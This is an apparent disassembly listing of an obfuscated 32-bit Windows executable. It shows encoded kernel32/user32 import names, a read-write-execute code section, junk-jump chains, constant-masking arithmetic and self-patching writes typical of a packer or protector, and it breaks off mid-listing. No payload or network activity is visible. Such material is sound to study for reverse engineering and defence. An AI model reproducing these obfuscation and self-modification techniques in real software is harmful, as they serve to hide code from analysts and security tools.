hce8ut1g	segment	para public 'DATA' use32
		assume cs:hce8ut1g
		;org 438000h
dword_438000	dd 380CCh, 0		; DATA XREF: sub_48CB6C+9o
		dd 0FFFFFFFFh, 3803Ch, 380B4h, 38108h, 0
		dd 0FFFFFFFFh, 380E8h, 38104h, 5 dup(0)
aKernel32_dl_11	db 'kernel32.dll',0
		align 4
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
		dd 77E79F93h, 77E805D8h, 77E7A5FDh, 77E75CB5h, 77E7980Ah
		dd 77E79E34h, 3804Ch, 38060h, 38070h, 38084h, 38094h, 380A4h
		dd 0
aUser32_dll_1	db 'user32.dll',0
		align 4
		dd 654D0000h, 67617373h, 786F4265h, 41h, 77D6ADD7h, 380F4h
		dd 3BDh	dup(0)
hce8ut1g	ends

; ---------------------------------------------------------------------------
; Section 6. (virtual address 00039000)
; Virtual size			: 00022000 ( 139264.)
; Section size in file		: 00022000 ( 139264.)
; Offset to raw	data for section: 00039000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
dviuq5id	segment	para public 'CODE' use32
		assume cs:dviuq5id
		;org 439000h
; START	OF FUNCTION CHUNK FOR sub_4498DD
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

loc_439000:				; CODE XREF: sub_4498DD+13j
					; DATA XREF: dy9cvewz:0046D4ACo
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_44BB42
		push	offset loc_43943A
		jmp	nullsub_73
; END OF FUNCTION CHUNK	FOR sub_4498DD

; =============== S U B	R O U T	I N E =======================================



sub_439013	proc near		; CODE XREF: sub_41A45D+A5p
					; sub_41A45D+1B6p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439AC1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B02D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043B5F6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043B7E9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043CF6D SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0043D0B4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E873 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043EDB8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442C65 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443B61 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00445190 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044696D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00447FB3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448289 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044856E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044878F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448D93 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448F23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449F09 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044AFC7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B06F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B8C3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044BBB5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044C6E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D54F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E187 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EE93 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00450E3C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00451591 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00451674 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00452847 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00452B20 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004532EC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00453BA4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00454077 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004540CE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00454853 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00454893 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004557B7 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 004559B2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00455F89 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00456A60 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456E1B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00457C0B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00457FDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045837E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004591B7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0045A109 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045A20A SIZE 00000008 BYTES

		push	ebx
		push	0F3ED4F40h
		sbb	ebx, ecx
		jmp	loc_452847
sub_439013	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_439020:				; CODE XREF: sub_45169D:loc_43A582j
		jnz	sub_456DB4
		mov	[ebp+0], edx
		jmp	loc_441B7D
; END OF FUNCTION CHUNK	FOR sub_45169D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_43902E:				; CODE XREF: sub_450217:loc_44DF2Aj
		jge	loc_44FF17
; END OF FUNCTION CHUNK	FOR sub_450217
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_439034:				; CODE XREF: sub_448FC7+86F3j
		jmp	loc_448013
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
		shl	ebx, 0Fh
		mov	ebp, 44842484h
		jmp	loc_443469
; ---------------------------------------------------------------------------
		mov	ds:dword_43EDF8, eax
		xor	eax, eax
		push	edx
		push	0E9A90D55h
		xchg	ecx, [esp]
		mov	edx, ecx
		jmp	loc_454EB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_43905D:				; CODE XREF: sub_44C6B8-7C2Fj
		jge	loc_450745
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; START	OF FUNCTION CHUNK FOR sub_4553DE

loc_439063:				; CODE XREF: sub_4553DE-18B9Cj
		jmp	loc_43FC56
; END OF FUNCTION CHUNK	FOR sub_4553DE
; ---------------------------------------------------------------------------
		test	ebp, ecx
		jmp	loc_43BDA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C32

loc_43906F:				; CODE XREF: sub_447C32+94Dj
		jge	loc_448030

loc_439075:				; CODE XREF: sub_4543EE+Dj
		jmp	loc_43BEA5
; END OF FUNCTION CHUNK	FOR sub_447C32
; ---------------------------------------------------------------------------

loc_43907A:				; CODE XREF: dviuq5id:00450BE8j
		jmp	locret_43A288
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442852

loc_43907F:				; CODE XREF: sub_442852+B3A8j
		jmp	loc_43A467
; END OF FUNCTION CHUNK	FOR sub_442852
; ---------------------------------------------------------------------------

loc_439084:				; CODE XREF: dviuq5id:00449C60j
		jmp	nullsub_186
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 1
		dd 0E9000100h, 0EF99h, 5624048Bh ; CODE	XREF: dviuq5id:loc_4464A7j
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_439098:				; CODE XREF: sub_450686-349Cj
		mov	esi, edx
		xchg	esi, [esp+0]
		push	edx
		push	0C7599F15h
		jmp	loc_45448A
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4390A8:				; CODE XREF: sub_43FA59:loc_440E5Aj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_4390AA:				; CODE XREF: sub_448154+ED16j
		rol	eax, 13h
		push	ebx
		mov	ebx, eax
		call	sub_43CDD1
; END OF FUNCTION CHUNK	FOR sub_448154

; =============== S U B	R O U T	I N E =======================================



sub_4390B5	proc near		; CODE XREF: dviuq5id:0044626Cp
					; dviuq5id:004589ABj
		xchg	edx, [esp+0]
		pop	edx
		add	eax, ebp
		add	eax, 8DFDB977h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44DA17
		jmp	loc_44D384
sub_4390B5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4390D1:				; CODE XREF: sub_43FA59:loc_456D63j
		jge	loc_44DD04
; END OF FUNCTION CHUNK	FOR sub_43FA59
; START	OF FUNCTION CHUNK FOR sub_456C8B

loc_4390D7:				; CODE XREF: sub_456C8B+7j
		jmp	sub_450686
; END OF FUNCTION CHUNK	FOR sub_456C8B
; ---------------------------------------------------------------------------
		add	esi, 322D5083h
		jmp	loc_44DCFD
; ---------------------------------------------------------------------------
		mov	eax, 83ED7AACh
		call	sub_44A765

loc_4390F1:				; CODE XREF: dviuq5id:00457AD1j
		jmp	loc_453C3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_4390F6:				; CODE XREF: sub_450905:loc_439134j
		mov	edx, eax
		call	sub_45A04B
		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		xchg	edi, [esp-4+arg_0]
		jmp	loc_440DDE
; END OF FUNCTION CHUNK	FOR sub_450905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_43910B:				; CODE XREF: sub_449222-B060j
		or	edx, 0A309C6AAh
		mov	[ebp+0], edx

loc_439114:				; CODE XREF: sub_449222:loc_43E1B6j
		sub	edi, 0BF6180EBh
		xor	edi, 0DB3EE27Eh
		rol	edi, 8
		add	edi, 0C298E4C4h
		jmp	loc_43F48F
; END OF FUNCTION CHUNK	FOR sub_449222
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_462. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457C14

loc_43912F:				; CODE XREF: sub_457C14+Fj
		jmp	loc_459F22
; END OF FUNCTION CHUNK	FOR sub_457C14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_439134:				; CODE XREF: sub_450905-70DFj
		jmp	loc_4390F6
; END OF FUNCTION CHUNK	FOR sub_450905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_439139:				; CODE XREF: sub_448154-D2C7j
		jmp	loc_456E57
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------

locret_43913E:				; CODE XREF: dviuq5id:loc_44FD57j
		retn
; ---------------------------------------------------------------------------

loc_43913F:				; CODE XREF: dviuq5id:004585C0j
		jmp	locret_44D3EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC6E

loc_439144:				; CODE XREF: sub_44AC6E:loc_451062j
		jmp	loc_450A1E
; END OF FUNCTION CHUNK	FOR sub_44AC6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_439149:				; CODE XREF: sub_454267-E055j
		jmp	loc_43D71E
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418CF

loc_43914E:				; CODE XREF: sub_4418CF+952j
		jmp	sub_44A98C
; END OF FUNCTION CHUNK	FOR sub_4418CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_439153:				; CODE XREF: dviuq5id:0043D009j
					; sub_44FCBC:loc_446BC0j
		sub	edi, 719D5224h
		rol	edi, 15h
		and	edi, 0C5105D71h
		add	edi, 3B44BB94h
		xchg	edi, [esp+0]
		jmp	loc_44921D
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
		mov	ds:off_41D11C, eax
		lea	eax, loc_43E303
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E303
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, ebx
		xchg	eax, [esp]
		push	1F01448Eh
		jmp	loc_43D296
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_439194:				; CODE XREF: sub_44CBA2-E29j
		inc	dword ptr [ebp-24h]
		jmp	loc_44CBAF
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_43919C:				; CODE XREF: sub_448424-4906j
					; sub_44460F+3E6j ...
		mov	eax, [ebp-10h]
		mov	esp, ebp
		push	offset loc_44189A
		jmp	loc_44A7AF
; END OF FUNCTION CHUNK	FOR sub_446A9C

; =============== S U B	R O U T	I N E =======================================



sub_4391AB	proc near		; CODE XREF: sub_451B18+5E65p

; FUNCTION CHUNK AT 00441E4D SIZE 00000005 BYTES

		push	ebp
		call	sub_457566

loc_4391B1:				; CODE XREF: sub_45A6BC+7j
		xor	ecx, 0E2527B60h
		sub	ecx, 7DFCFDBCh
		rol	ecx, 0Eh
		sub	ecx, 0FC76C3F3h
		add	ecx, 0F915DBEh
		jmp	loc_441E4D
sub_4391AB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_4391D1:				; CODE XREF: sub_441DDA:loc_45944Aj
		mov	ebp, eax
		xchg	ebp, [esp+0]
		push	0E92FDCFh
		pop	eax
		sub	eax, 0BE654686h
		xor	eax, 3A58583Fh
		or	eax, 8A03B42Ah
		sub	eax, 7E30D9A7h
		jmp	loc_447F80
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443977

loc_4391F9:				; CODE XREF: sub_443977:loc_458E6Aj
		mov	eax, [eax-18h]
		and	eax, 7
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_4422D0
		jmp	loc_4422BF
; END OF FUNCTION CHUNK	FOR sub_443977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_439211:				; CODE XREF: sub_44514D:loc_440213j
		jnz	loc_43C43F

loc_439217:				; CODE XREF: dviuq5id:loc_444808j
		jmp	loc_4558C3
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
		rol	eax, 7
		xor	eax, 5755062Ah
		rol	eax, 2
		push	esi
		push	95C05B1h
		pop	esi
		sub	esi, 9977C961h
		jmp	loc_4430CB
; ---------------------------------------------------------------------------
		adc	edi, ecx
		jz	loc_455E09
		jmp	sub_4430B9
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_439248:				; CODE XREF: dviuq5id:0043B61Ej
		jmp	loc_4496A9
; ---------------------------------------------------------------------------
		db 52h,	0A6h, 2Ah
dword_439250	dd 0EC6A15h		; DATA XREF: sub_43AE68+6r
					; sub_440EC1+4r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_439254:				; CODE XREF: sub_451B18+42C9j
		jmp	loc_44A4F8
; END OF FUNCTION CHUNK	FOR sub_451B18

; =============== S U B	R O U T	I N E =======================================



sub_439259	proc near		; CODE XREF: .text:00404306p
					; sub_408B90+15p
					; DATA XREF: ...

; FUNCTION CHUNK AT 0044BCCB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004545FE SIZE 00000005 BYTES

		jno	loc_44BCCB
		push	offset loc_4463E3
		jmp	loc_4545FE
sub_439259	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456734

loc_439269:				; CODE XREF: sub_456734-19DA2j
		popf
		test	ebx, edi
		jmp	loc_444BA7
; END OF FUNCTION CHUNK	FOR sub_456734
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_439271:				; CODE XREF: sub_44646F:loc_44817Aj
		jnz	loc_457144
		jmp	loc_458F25
; END OF FUNCTION CHUNK	FOR sub_44646F

; =============== S U B	R O U T	I N E =======================================



sub_43927C	proc near		; CODE XREF: sub_4393C3+4950p
					; dviuq5id:0044766Bj
		xchg	ecx, [esp+0]
		pop	ecx
		pop	ebx
		mov	edx, [edx]
		imul	byte ptr [edx]
		call	sub_44B70C
sub_43927C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_43928A:				; CODE XREF: sub_44AB80+9076j
					; sub_44AB80+9689j
		or	edi, 64D07C2Ah
		xor	edi, 0B1B6ABD9h
		add	edi, 0B1DC17D2h
		mov	edi, [edi]
		xchg	edi, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_4392A2:				; CODE XREF: sub_449B5B+Dj
		jmp	loc_45926B
; END OF FUNCTION CHUNK	FOR sub_449B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_4392A7:				; CODE XREF: sub_43AE68+BE78j
		jmp	loc_4567D1
; END OF FUNCTION CHUNK	FOR sub_43AE68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9FD

loc_4392AC:				; CODE XREF: sub_43C9FD+18j
		jmp	nullsub_483
; END OF FUNCTION CHUNK	FOR sub_43C9FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_4392B1:				; CODE XREF: sub_44AB80+1j
		mov	ebp, esp
		jmp	loc_445A0A
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4426C3

loc_4392B8:				; CODE XREF: sub_4426C3:loc_43DE74j
		push	offset loc_43B8EA
		jmp	nullsub_38
; END OF FUNCTION CHUNK	FOR sub_4426C3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_503. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440294

loc_4392C3:				; CODE XREF: sub_440294+B33Aj
		jmp	loc_454A5F
; END OF FUNCTION CHUNK	FOR sub_440294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E828

loc_4392C8:				; CODE XREF: sub_43E828+Ej
		jmp	loc_44C401
; END OF FUNCTION CHUNK	FOR sub_43E828
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445110

loc_4392CD:				; CODE XREF: sub_445110:loc_43A8B2j
		call	sub_445260

loc_4392D2:				; CODE XREF: sub_43FA59+EC37j
		adc	ebx, esi
		jmp	loc_43964C
; END OF FUNCTION CHUNK	FOR sub_445110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_4392D9:				; CODE XREF: sub_43CB4C:loc_43B18Aj
		jnz	loc_453138
		mov	eax, [ebp+8]
		push	eax
		call	sub_4510E7

loc_4392E8:				; CODE XREF: sub_4477D7:loc_43EB07j
		jnz	loc_43DA9A
		pop	ebx
		xchg	ebx, ebp
		xor	edi, eax
		jmp	loc_43DA92
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
		mov	eax, 92A798AFh
		call	sub_453642
		push	ebx
		push	2A77B84Eh
		pop	ebx
		jmp	loc_457006
; ---------------------------------------------------------------------------
		shr	ebp, 1Dh
		cmp	ebp, edx
		jmp	loc_4478F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452189

loc_439318:				; CODE XREF: sub_452189-2839j
		mov	ebp, 0DAC85724h

loc_43931D:				; CODE XREF: sub_452189:loc_44F943j
		add	edi, 0FAE9467Eh
		add	edi, ebp
		jmp	loc_43E062
; END OF FUNCTION CHUNK	FOR sub_452189
; ---------------------------------------------------------------------------

locret_43932A:				; CODE XREF: dviuq5id:00447A0Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_43932B:				; CODE XREF: sub_43BD72+19767j
		jns	loc_439B6E

loc_439331:				; CODE XREF: sub_43BD72+1975Bj
		add	edi, 8CF56E94h
		xor	edi, 26675FDBh
		add	edi, 63C9F6EFh
		xchg	edi, [esp+0]
		jmp	sub_451BE3
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------

loc_43934B:				; CODE XREF: dviuq5id:004530A8j
		mov	esi, edx
		xchg	esi, [esp]
		call	sub_455E74
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_439355:				; CODE XREF: sub_448FC7-B66Aj
		sbb	ebx, 66C17633h
		jmp	loc_44EA91
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440729

loc_439360:				; CODE XREF: sub_440729+6j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		push	offset loc_4537E7
		jmp	loc_457359
; END OF FUNCTION CHUNK	FOR sub_440729
; ---------------------------------------------------------------------------

loc_439371:				; CODE XREF: dviuq5id:00454BDFj
		jbe	loc_44DCC4

loc_439377:				; CODE XREF: dviuq5id:004407AFj
		xor	edi, 214DC10h
		xchg	edi, [esp]
		call	sub_44AB80

locret_439385:				; CODE XREF: dviuq5id:00441E1Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45082A

loc_439386:				; CODE XREF: sub_44AB80:loc_443023j
					; sub_45082A-3896j
		jmp	loc_445829
; END OF FUNCTION CHUNK	FOR sub_45082A

; =============== S U B	R O U T	I N E =======================================



sub_43938B	proc near		; CODE XREF: dviuq5id:loc_43F0CBp
					; sub_4525D0-12957j ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043ACE3 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0043CD52 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043D1DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EE0C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440359 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00440C0F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440D46 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00442355 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044270A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00444487 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00444972 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444AA1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446BB8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00446C24 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00447F63 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00448503 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004495FA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044AA44 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044C21F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044D10A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DF52 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F731 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044F7D9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044FA5F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004504D4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00451C50 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00452630 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00453A7A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00453E5C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0045590A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455B8D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456D6D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456FB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004575BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459574 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A022 SIZE 00000005 BYTES

		jz	loc_442355
		mov	eax, ds:dword_448954
		or	eax, eax
		jmp	loc_4575BC
sub_43938B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_451F5F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_490. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4393A5:				; CODE XREF: dviuq5id:00456808j
		jmp	loc_44E2A4
; ---------------------------------------------------------------------------
		mov	[ebp-4], eax
		jmp	loc_458083
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_4393B2:				; CODE XREF: sub_43AEAA:loc_443877j
		lea	eax, [ebp-12Dh]
		push	eax
		call	sub_441C54
		jmp	loc_43D0DC
; END OF FUNCTION CHUNK	FOR sub_43AEAA

; =============== S U B	R O U T	I N E =======================================



sub_4393C3	proc near		; DATA XREF: dviuq5id:004568E8o

; FUNCTION CHUNK AT 00439A2D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043DCF8 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043DD6A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445EC8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00446460 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C0B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045337D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004541DB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0045458B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455C9D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0045699F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458927 SIZE 0000001C BYTES

		jz	loc_458927
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44167D
		jmp	loc_44C0B0
sub_4393C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4393DD:				; CODE XREF: dviuq5id:004492A5j
		and	edi, 0D1D7E1C9h
		add	edi, 0EE6CF986h
		xchg	edi, [esp]
		jmp	loc_43BA71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB39

loc_4393F1:				; CODE XREF: sub_44CB39+6j
		pop	esi
		add	esi, 0DA962C60h
		rol	esi, 8
		sub	esi, 8CACA6FFh
		or	esi, ds:4000F0h
		add	esi, (offset loc_450F4D+2)

loc_43940D:				; CODE XREF: dviuq5id:loc_447A9Ej
		xchg	esi, [esp-4+arg_0]
		jmp	loc_43FD31
; END OF FUNCTION CHUNK	FOR sub_44CB39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_439415:				; CODE XREF: sub_441DDA:loc_4500D4j
					; sub_44A15A+AFB1j
		jz	loc_43B543
		jmp	loc_441C35
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------

loc_439420:				; CODE XREF: dviuq5id:loc_43DE08j
					; dviuq5id:004403C6j
		or	ecx, 72BC2D10h
		and	ecx, 0F3C4E1A2h
		add	ecx, 8D80B7D4h
		xchg	ecx, [esp]
		jmp	loc_44814F
; ---------------------------------------------------------------------------

loc_43943A:				; DATA XREF: sub_4498DD-108D4o
		mov	byte ptr [eax],	0C3h
		jmp	loc_457594
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB42

loc_439442:				; CODE XREF: sub_44BB42j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_440C61

loc_43944C:				; CODE XREF: dviuq5id:0043D04Aj
		jmp	loc_455869
; END OF FUNCTION CHUNK	FOR sub_44BB42
; ---------------------------------------------------------------------------

loc_439451:				; CODE XREF: dviuq5id:loc_455217j
		jns	loc_44A166
		or	ebx, esi
		ror	ebp, 2
		add	ebx, edi
		jmp	loc_4450D3
; ---------------------------------------------------------------------------
		mov	ds:off_41D09C, eax
		lea	eax, sub_44FB5C
		mov	byte ptr [eax],	0C3h
		jmp	sub_44FB5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FB5C

loc_439477:				; CODE XREF: sub_44FB5Cj
		pop	edx
		push	offset loc_459111
		jmp	loc_4501A0
; END OF FUNCTION CHUNK	FOR sub_44FB5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_439482:				; CODE XREF: sub_4440E9:loc_457D54j
		xchg	ecx, eax
		push	edi
		mov	ecx, 0BD2D54C7h
		jmp	loc_43BBA4
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F9FB

loc_43948F:				; CODE XREF: sub_44F9FB:loc_457634j
		popf
